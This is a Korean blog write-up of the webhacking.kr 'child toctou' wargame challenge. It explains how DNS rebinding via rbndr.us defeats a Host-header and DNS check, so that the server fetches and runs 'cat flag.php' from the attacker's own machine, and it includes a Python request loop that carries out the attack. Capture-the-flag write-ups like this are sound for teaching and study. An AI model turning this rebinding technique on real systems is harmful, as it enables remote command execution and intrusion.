One_Blog

webhacking.kr child toctou writeup 본문

웹해킹

webhacking.kr child toctou writeup

0xOne 2024. 1. 19. 18:23
728x90

child toctou 라이트업이다.

 

이전의 baby toctou와 다르게 이상한 여러 검증 절차가 추가되었다.

이런식으로,

 

HOST를 검사하여 HOST가 webhacking.kr이 아니고, 

 

HOST를 dns reolve했을 때 결괏값이 202.182.106.159가 아니라면

 

그냥 아무것도 실행을 안해버린다.

 

그리고 만약 HOST 검증을 통과하면, curl로 http://HOST:10020/cmd/{$_GET['q']}.txt를 한 후에,

 

response값을 system으로 실행하고 결과를 알려준다.

 

baby toctou는 단순 문자열 검증이었기에, 동시에 cat flag.php와 ls를 보냄으로써 해결할 수 있었다.

 

하지만 여기서는 다르다. DNS REBINDING이라는 공격기법을 써야한다.

 

DNS Rebinding은 간단하게 설명하자면 A라는 도메인에 Ip가 2개가 할당되어

 

dnsresolve의 결괏값이 달라질 수 있는 것을 이용한 공격기법인데.. 자세한 건 인터넷에 자료가 많으니 넘기도록 하겠다.

 

대강 공격과정을 설명하자면, 우선 내 서버의 IP와 webhacking.kr의 IP가 설정된 도메인을 생성한다.

 

https://lock.cmpxchg8b.com/rebinder.html

 

rbndr.us dns rebinding service

 

lock.cmpxchg8b.com

 

해당 사이트에서 쉽게 생성 가능하다.

 

그 다음에, curl http://HOST:10020/cmd/{$_GET['q']}.txt를 했을 때,

 

우리는 cat flag.php를 실행해야하니, 내 개인 서버를 10020포트로 열고,

 

/cmd 디렉토리를 만든 후 그 아래에 ls.txt를 넣어준다.

 

그리고 ls.txt에 cat flag.php를 넣어준다.

 

이제 공격 준비가 끝났다.

 

일단 여기서 $_SERVER['HTTP_HOST'] 값은

 

header에 HOST를 포함함으로써 간단하게 바꿔줄 수 있다.

 

공격의 핵심은,

 

내가 보낸 HOST 값이 

 

해당 로직에서는 202.182.106.159로 확인되게 하고,

 

curl할 때는 내 서버로 확인되게 하는 것이다.

 

import requests
from concurrent.futures import ThreadPoolExecutor
url = "http://webhacking.kr:10020/api.php"
headers = {
    "HOST":"xxxx.xxxx.rbndr.us"
}

def attack():
    params = {
        "q":"ls"
    }
    response = requests.get(url,headers=headers,params=params)
    if len(response.text) != 204 and len(response.text) != 15:
        print(response.text)
    print("Failed..")
    return len(response.text)
    
while True:
    flag = attack()
    if flag != 204 and flag != 15:
        break

대강 이런식으로 코드짜서 돌려주고 기다리다 보면 FLAG가 출력된다.

 

공격 이론 자체는 어렵지 않은데.. 실제 공격을 위한 과정이 귀찮다보니

 

사람들이 별로 풀지 않는 것 같다.

 

gg